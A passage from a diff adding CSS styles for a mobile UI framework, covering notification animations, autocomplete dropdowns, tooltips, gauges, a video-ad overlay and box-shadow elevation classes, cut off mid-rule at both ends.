translate3d(0, 10%, 0); + transform: translate3d(0, 10%, 0); + } + 100% { + -webkit-transform: translate3d(0, 0%, 0); + transform: translate3d(0, 0%, 0); + } +} +@keyframes notification-md-in { + 0% { + -webkit-transform: translate3d(0, -150%, 0); + transform: translate3d(0, -150%, 0); + } + 50% { + -webkit-transform: translate3d(0, 10%, 0); + transform: translate3d(0, 10%, 0); + } + 100% { + -webkit-transform: translate3d(0, 0%, 0); + transform: translate3d(0, 0%, 0); + } +} +/* === Autocomplete === */ +.autocomplete-page .autocomplete-found { + display: block; +} +.autocomplete-page .autocomplete-not-found { + display: none; +} +.autocomplete-page .autocomplete-values { + display: block; +} +.autocomplete-page .list ul:empty { + display: none; +} +.autocomplete-preloader:not(.autocomplete-preloader-visible) { + visibility: hidden; +} +.autocomplete-preloader:not(.autocomplete-preloader-visible), +.autocomplete-preloader:not(.autocomplete-preloader-visible) * { + -webkit-animation: none; + animation: none; +} +.autocomplete-dropdown { + background: #fff; + -webkit-box-sizing: border-box; + box-sizing: border-box; + position: absolute; + z-index: 500; + width: 100%; + left: 0; +} +.autocomplete-dropdown .autocomplete-dropdown-inner { + position: relative; + overflow: auto; + -webkit-overflow-scrolling: touch; + height: 100%; + z-index: 1; +} +.autocomplete-dropdown .autocomplete-preloader { + display: none; + position: absolute; + bottom: 100%; + width: 20px; + height: 20px; +} +.autocomplete-dropdown .autocomplete-preloader-visible { + display: block; +} +.autocomplete-dropdown .autocomplete-dropdown-placeholder { + color: #a9a9a9; +} +.autocomplete-dropdown .list { + margin: 0; +} +.autocomplete-dropdown .list ul { + background: none !important; +} +.autocomplete-dropdown .list ul:before { + display: none !important; +} +.autocomplete-dropdown .list ul:after { + display: none !important; +} +.list .item-content-dropdown-expanded .item-title.item-label { + width: 0; + -webkit-flex-shrink: 10; + -ms-flex-negative: 10; + flex-shrink: 10; + overflow: hidden; +} +.list .item-content-dropdown-expanded .item-title.item-label + .item-input-wrap { + margin-left: 0; +} +.list .item-content-dropdown-expanded .item-input-wrap { + width: 100%; +} +.md .autocomplete-page .navbar .autocomplete-preloader { + margin-right: 16px; +} +.md .autocomplete-dropdown { + -webkit-box-shadow: 0 2px 2px rgba(0, 0, 0, 0.25); + box-shadow: 0 2px 2px rgba(0, 0, 0, 0.25); +} +.md .autocomplete-dropdown .autocomplete-preloader { + right: 16px; + margin-bottom: 8px; +} +.md .autocomplete-dropdown .autocomplete-preloader .preloader-inner-gap, +.md .autocomplete-dropdown .autocomplete-preloader .preloader-inner-half-circle { + border-width: 3px; +} +.md .autocomplete-dropdown .list { + color: rgba(0, 0, 0, 0.54); +} +.md .autocomplete-dropdown .list b { + font-weight: normal; + color: #212121; +} +.md .searchbar-input-wrap .autocomplete-dropdown .item-content { + padding-left: 73px; +} +.md .searchbar-input-wrap .autocomplete-dropdown li:last-child { + border-radius: 0 0 8px 8px; + position: relative; + overflow: hidden; +} +.md .searchbar-input-wrap .autocomplete-dropdown .autocomplete-dropdown-placeholder { + color: #939398; +} +/* === Tooltip === */ +.tooltip { + position: absolute; + z-index: 20000; + background: rgba(0, 0, 0, 0.87); + border-radius: 4px; + padding: 8px 16px; + color: #fff; + font-size: 14px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + line-height: 1.2; + opacity: 0; + -webkit-transform: scale(0.9); + transform: scale(0.9); + -webkit-transition-duration: 150ms; + transition-duration: 150ms; + -webkit-transition-property: opacity, -webkit-transform; + transition-property: opacity, -webkit-transform; + transition-property: opacity, transform; + transition-property: opacity, transform, -webkit-transform; + z-index: 99000; + font-weight: 500; +} +.tooltip.tooltip-in { + -webkit-transform: scale(1); + transform: scale(1); + opacity: 1; +} +.tooltip.tooltip-out { + opacity: 0; + -webkit-transform: scale(1); + transform: scale(1); +} +.device-desktop .tooltip { + font-size: 12px; + padding: 6px 8px; +} +/* === Gauge === */ +.gauge { + position: relative; + text-align: center; + margin-left: auto; + margin-right: auto; + display: inline-block; +} +.gauge-svg, +.gauge svg { + max-width: 100%; + height: auto; +} +.gauge-svg circle, +.gauge svg circle, +.gauge-svg path, +.gauge svg path { + -webkit-transition-duration: 400ms; + transition-duration: 400ms; +} +iframe#viAd { + z-index: 12900 !important; + background: #000 !important; +} +.vi-overlay { + background: rgba(0, 0, 0, 0.85); + z-index: 13100; + position: absolute; + left: 0%; + top: 0%; + width: 100%; + height: 100%; + border-radius: 3px; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -ms-flex-direction: column; + flex-direction: column; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + -webkit-align-content: center; + -ms-flex-line-pack: center; + align-content: center; + text-align: center; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} +@supports ((-webkit-backdrop-filter: blur(10px)) or (backdrop-filter: blur(10px))) { + .vi-overlay { + background: rgba(0, 0, 0, 0.65); + -webkit-backdrop-filter: blur(10px); + backdrop-filter: blur(10px); + } +} +.vi-overlay .vi-overlay-text { + text-align: center; + color: #fff; + max-width: 80%; +} +.vi-overlay .vi-overlay-text + .vi-overlay-play-button { + margin-top: 15px; +} +.vi-overlay .vi-overlay-play-button { + width: 44px; + height: 44px; + border-radius: 50%; + border: 2px solid #fff; + position: relative; +} +.vi-overlay .vi-overlay-play-button.active-state { + opacity: 0.55; +} +.vi-overlay .vi-overlay-play-button:before { + content: ''; + width: 0; + height: 0; + border-top: 8px solid transparent; + border-bottom: 8px solid transparent; + border-left: 14px solid #fff; + position: absolute; + left: 50%; + top: 50%; + margin-left: 2px; + -webkit-transform: translate(-50%, -50%); + transform: translate(-50%, -50%); +} +/* === Elevation === */ +.elevation-0 { + -webkit-box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0) !important; + box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0) !important; +} +.elevation-1 { + -webkit-box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12) !important; +} +.elevation-2 { + -webkit-box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12) !important; +} +.elevation-3 { + -webkit-box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12) !important; +} +.elevation-4 { + -webkit-box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12) !important; +} +.elevation-5 { + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 5px 8px 0px rgba(0, 0, 0, 0.14), 0px 1px 14px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 5px 8px 0px rgba(0, 0, 0, 0.14), 0px 1px 14px 0px rgba(0, 0, 0, 0.12) !important; +} +.elevation-6 { + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12) !important; +} +.elevation-7 { + -webkit-box-shadow: 0px 4px 5px -2px rgba(0, 0, 0, 0.2), 0px 7px 10px 1px rgba(0, 0, 0, 0.14), 0px 2px 16px 1px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 4px 5px -2px rgba(0, 0, 0, 0.2), 0px 7px 10px 1px rgba(0, 0, 0, 0.14), 0px 2px 16px 1px rgba(0, 0, 0, 0.12) !important; +} +.elevation-8 { + -webkit-box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12) !important; +} +.elevation-9 { + -webkit-box-shadow: 0px 5px 6px -3px rgba(0, 0, 0, 0.2), 0px 9px 12px 1px rgba(0, 0, 0, 0.14), 0px 3px 16px 2px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 5px 6px -3px rgba(0, 0, 0, 0.2), 0px 9px 12px 1px rgba(0, 0, 0, 0.14), 0px 3px 16px 2px rgba(0, 0, 0, 0.12) !important; +} +.elevation-10 { + -webkit-box-shadow: 0px 6px 6px -3px rgba(0, 0, 0, 0.2), 0px 10px 14px 1px rgba(0, 0, 0, 0.14), 0px 4px 18px 3px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 6px 6px -3px rgba(0, 0, 0, 0.2), 0px 10px 14px 1px rgba(0, 0, 0, 0.14), 0px 4px 18px 3px rgba(0, 0, 0, 0.12) !important; +} +.elevation-11 { + -webkit-box-shadow: 0px 6px 7px -4px rgba(0, 0, 0, 0.2), 0px 11px 15px 1px rgba(0, 0, 0, 0.14), 0px 4px 20px 3px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 6px 7px -4px rgba(0, 0, 0, 0.2), 0px 11px 15px 1px rgba(0, 0, 0, 0.14), 0px 4px 20px 3px rgba(0, 0, 0, 0.12) !important; +} +.elevation-12 { + -webkit-box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 12px 17px 2px rgba(0, 0, 0, 0.14), 0px 5px 22px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 12px 17px 2px rgba(0, 0, 0, 0.14), 0px 5px 22px 4px rgba(0, 0, 0, 0.12) !important; +} +.elevation-13 { + -webkit-box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 13px 19px 2px rgba(0, 0, 0, 0.14), 0px 5px 24px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 13px 19px 2px rgba(0, 0, 0, 0.14), 0px 5px 24px 4px rgba(0, 0, 0, 0.12) !important; +} +.elevation-14 { + -webkit-box-shadow: 0px 7px 9px -4px rgba(0, 0, 0, 0.2), 0px 14px 21px 2px rgba(0, 0, 0, 0.14), 0px 5px 26px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 9px -4px rgba(0, 0, 0, 0.2), 0px 14px 21px 2px rgba(0, 0, 0, 0.14), 0px 5px 26px 4px rgba(0, 0, 0, 0.12) !important; +} +.elevation-15 { + -webkit-box-shadow: 0px 8px 9px -5px rgba(0, 0, 0, 0.2), 0px 15px 22px 2px rgba(0, 0, 0, 0.14), 0px 6px 28px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 9px -5px rgba(0, 0, 0, 0.2), 0px 15px 22px 2px rgba(0, 0, 0, 0.14), 0px 6px 28px 5px rgba(0, 0, 0, 0.12) !important; +} +.elevation-16 { + -webkit-box-shadow: 0px 8px 10px -5px rgba(0, 0, 0, 0.2), 0px 16px 24px 2px rgba(0, 0, 0, 0.14), 0px 6px 30px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 10px -5px rgba(0, 0, 0, 0.2), 0px 16px 24px 2px rgba(0, 0, 0, 0.14), 0px 6px 30px 5px rgba(0, 0, 0, 0.12) !important; +} +.elevation-17 { + -webkit-box-shadow: 0px 8px 11px -5px rgba(0, 0, 0, 0.2), 0px 17px 26px 2px rgba(0, 0, 0, 0.14), 0px 6px 32px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 11px -5px rgba(0, 0, 0, 0.2), 0px 17px 26px 2px rgba(0, 0, 0, 0.14), 0px 6px 32px 5px rgba(0, 0, 0, 0.12) !important; +} +.elevation-18 { + -webkit-box-shadow: 0px 9px 11px -5px rgba(0, 0, 0, 0.2), 0px 18px 28px 2px rgba(0, 0, 0, 0.14), 0px 7px 34px 6px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 9px 11px -5px rgba(0, 0, 0, 0.2), 0px 18px 28px 2px rgba(0, 0, 0, 0.14), 0px 7px 34px 6px rgba(0, 0, 0, 0.12) !important; +} +.elevation-19 { + -webkit-box-shadow: 0px 9px 12px -6px rgba(0, 0, 0, 0.2), 0px 19px 29px 2px rgba(0, 0, 0, 0.14), 0px 7px 36px 6px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 9px 12px -6px rgba(0, 0, 0, 0.2), 0px 19px 29px 2px rgba(0, 0, 0, 0.14), 0px 7px 36px 6px rgba(0, 0, 0, 0.12) !important; +} +.elevation-20 { + -webkit-box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 20px 31px 3px rgba(0, 0, 0, 0.14), 0px 8px 38px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 20px 31px 3px rgba(0, 0, 0, 0.14), 0px 8px 38px 7px rgba(0, 0, 0, 0.12) !important; +} +.elevation-21 { + -webkit-box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 21px 33px 3px rgba(0, 0, 0, 0.14), 0px 8px 40px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 21px 33px 3px rgba(0, 0, 0, 0.14), 0px 8px 40px 7px rgba(0, 0, 0, 0.12) !important; +} +.elevation-22 { + -webkit-box-shadow: 0px 10px 14px -6px rgba(0, 0, 0, 0.2), 0px 22px 35px 3px rgba(0, 0, 0, 0.14), 0px 8px 42px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 14px -6px rgba(0, 0, 0, 0.2), 0px 22px 35px 3px rgba(0, 0, 0, 0.14), 0px 8px 42px 7px rgba(0, 0, 0, 0.12) !important; +} +.elevation-23 { + -webkit-box-shadow: 0px 11px 14px -7px rgba(0, 0, 0, 0.2), 0px 23px 36px 3px rgba(0, 0, 0, 0.14), 0px 9px 44px 8px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 11px 14px -7px rgba(0, 0, 0, 0.2), 0px 23px 36px 3px rgba(0, 0, 0, 0.14), 0px 9px 44px 8px rgba(0, 0, 0, 0.12) !important; +} +.elevation-24 { + -webkit-box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-0:hover { + -webkit-box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0) !important; + box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0) !important; +} +.device-desktop .elevation-hover-1:hover { + -webkit-box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-2:hover { + -webkit-box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-3:hover { + -webkit-box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-4:hover { + -webkit-box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-5:hover { + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 5px 8px 0px rgba(0, 0, 0, 0.14), 0px 1px 14px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 5px 8px 0px rgba(0, 0, 0, 0.14), 0px 1px 14px 0px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-6:hover { + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-7:hover { + -webkit-box-shadow: 0px 4px 5px -2px rgba(0, 0, 0, 0.2), 0px 7px 10px 1px rgba(0, 0, 0, 0.14), 0px 2px 16px 1px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 4px 5px -2px rgba(0, 0, 0, 0.2), 0px 7px 10px 1px rgba(0, 0, 0, 0.14), 0px 2px 16px 1px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-8:hover { + -webkit-box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 5px 5px -3px rgba(0, 0, 0, 0.2), 0px 8px 10px 1px rgba(0, 0, 0, 0.14), 0px 3px 14px 2px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-9:hover { + -webkit-box-shadow: 0px 5px 6px -3px rgba(0, 0, 0, 0.2), 0px 9px 12px 1px rgba(0, 0, 0, 0.14), 0px 3px 16px 2px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 5px 6px -3px rgba(0, 0, 0, 0.2), 0px 9px 12px 1px rgba(0, 0, 0, 0.14), 0px 3px 16px 2px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-10:hover { + -webkit-box-shadow: 0px 6px 6px -3px rgba(0, 0, 0, 0.2), 0px 10px 14px 1px rgba(0, 0, 0, 0.14), 0px 4px 18px 3px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 6px 6px -3px rgba(0, 0, 0, 0.2), 0px 10px 14px 1px rgba(0, 0, 0, 0.14), 0px 4px 18px 3px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-11:hover { + -webkit-box-shadow: 0px 6px 7px -4px rgba(0, 0, 0, 0.2), 0px 11px 15px 1px rgba(0, 0, 0, 0.14), 0px 4px 20px 3px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 6px 7px -4px rgba(0, 0, 0, 0.2), 0px 11px 15px 1px rgba(0, 0, 0, 0.14), 0px 4px 20px 3px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-12:hover { + -webkit-box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 12px 17px 2px rgba(0, 0, 0, 0.14), 0px 5px 22px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 12px 17px 2px rgba(0, 0, 0, 0.14), 0px 5px 22px 4px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-13:hover { + -webkit-box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 13px 19px 2px rgba(0, 0, 0, 0.14), 0px 5px 24px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 8px -4px rgba(0, 0, 0, 0.2), 0px 13px 19px 2px rgba(0, 0, 0, 0.14), 0px 5px 24px 4px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-14:hover { + -webkit-box-shadow: 0px 7px 9px -4px rgba(0, 0, 0, 0.2), 0px 14px 21px 2px rgba(0, 0, 0, 0.14), 0px 5px 26px 4px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 7px 9px -4px rgba(0, 0, 0, 0.2), 0px 14px 21px 2px rgba(0, 0, 0, 0.14), 0px 5px 26px 4px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-15:hover { + -webkit-box-shadow: 0px 8px 9px -5px rgba(0, 0, 0, 0.2), 0px 15px 22px 2px rgba(0, 0, 0, 0.14), 0px 6px 28px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 9px -5px rgba(0, 0, 0, 0.2), 0px 15px 22px 2px rgba(0, 0, 0, 0.14), 0px 6px 28px 5px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-16:hover { + -webkit-box-shadow: 0px 8px 10px -5px rgba(0, 0, 0, 0.2), 0px 16px 24px 2px rgba(0, 0, 0, 0.14), 0px 6px 30px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 10px -5px rgba(0, 0, 0, 0.2), 0px 16px 24px 2px rgba(0, 0, 0, 0.14), 0px 6px 30px 5px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-17:hover { + -webkit-box-shadow: 0px 8px 11px -5px rgba(0, 0, 0, 0.2), 0px 17px 26px 2px rgba(0, 0, 0, 0.14), 0px 6px 32px 5px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 8px 11px -5px rgba(0, 0, 0, 0.2), 0px 17px 26px 2px rgba(0, 0, 0, 0.14), 0px 6px 32px 5px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-18:hover { + -webkit-box-shadow: 0px 9px 11px -5px rgba(0, 0, 0, 0.2), 0px 18px 28px 2px rgba(0, 0, 0, 0.14), 0px 7px 34px 6px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 9px 11px -5px rgba(0, 0, 0, 0.2), 0px 18px 28px 2px rgba(0, 0, 0, 0.14), 0px 7px 34px 6px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-19:hover { + -webkit-box-shadow: 0px 9px 12px -6px rgba(0, 0, 0, 0.2), 0px 19px 29px 2px rgba(0, 0, 0, 0.14), 0px 7px 36px 6px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 9px 12px -6px rgba(0, 0, 0, 0.2), 0px 19px 29px 2px rgba(0, 0, 0, 0.14), 0px 7px 36px 6px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-20:hover { + -webkit-box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 20px 31px 3px rgba(0, 0, 0, 0.14), 0px 8px 38px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 20px 31px 3px rgba(0, 0, 0, 0.14), 0px 8px 38px 7px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-21:hover { + -webkit-box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 21px 33px 3px rgba(0, 0, 0, 0.14), 0px 8px 40px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 13px -6px rgba(0, 0, 0, 0.2), 0px 21px 33px 3px rgba(0, 0, 0, 0.14), 0px 8px 40px 7px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-22:hover { + -webkit-box-shadow: 0px 10px 14px -6px rgba(0, 0, 0, 0.2), 0px 22px 35px 3px rgba(0, 0, 0, 0.14), 0px 8px 42px 7px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 10px 14px -6px rgba(0, 0, 0, 0.2), 0px 22px 35px 3px rgba(0, 0, 0, 0.14), 0px 8px 42px 7px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-23:hover { + -webkit-box-shadow: 0px 11px 14px -7px rgba(0, 0, 0, 0.2), 0px 23px 36px 3px rgba(0, 0, 0, 0.14), 0px 9px 44px 8px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 11px 14px -7px rgba(0, 0, 0, 0.2), 0px 23px 36px 3px rgba(0, 0, 0, 0.14), 0px 9px 44px 8px rgba(0, 0, 0, 0.12) !important; +} +.device-desktop .elevation-hover-24:hover { + -webkit-box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 11px 15px -7px rgba(0, 0, 0, 0.2), 0px 24px 38px 3px rgba(0, 0, 0, 0.14), 0px 9px 46px 8px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-0, +.device-desktop .active-state.elevation-pressed-0 { + -webkit-box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0) !important; + box-shadow: 0px 0px 0px 0px rgba(0, 0, 0, 0) !important; +} +.active-state.elevation-pressed-1, +.device-desktop .active-state.elevation-pressed-1 { + -webkit-box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 2px 1px -1px rgba(0, 0, 0, 0.2), 0px 1px 1px 0px rgba(0, 0, 0, 0.14), 0px 1px 3px 0px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-2, +.device-desktop .active-state.elevation-pressed-2 { + -webkit-box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 1px -2px rgba(0, 0, 0, 0.2), 0px 2px 2px 0px rgba(0, 0, 0, 0.14), 0px 1px 5px 0px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-3, +.device-desktop .active-state.elevation-pressed-3 { + -webkit-box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 3px -2px rgba(0, 0, 0, 0.2), 0px 3px 4px 0px rgba(0, 0, 0, 0.14), 0px 1px 8px 0px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-4, +.device-desktop .active-state.elevation-pressed-4 { + -webkit-box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 2px 4px -1px rgba(0, 0, 0, 0.2), 0px 4px 5px 0px rgba(0, 0, 0, 0.14), 0px 1px 10px 0px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-5, +.device-desktop .active-state.elevation-pressed-5 { + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 5px 8px 0px rgba(0, 0, 0, 0.14), 0px 1px 14px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 5px 8px 0px rgba(0, 0, 0, 0.14), 0px 1px 14px 0px rgba(0, 0, 0, 0.12) !important; +} +.active-state.elevation-pressed-6, +.device-desktop .active-state.elevation-pressed-6 { + -webkit-box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 0, 0, 0.14), 0px 1px 18px 0px rgba(0, 0, 0, 0.12) !important; + box-shadow: 0px 3px 5px -1px rgba(0, 0, 0, 0.2), 0px 6px 10px 0px rgba(0, 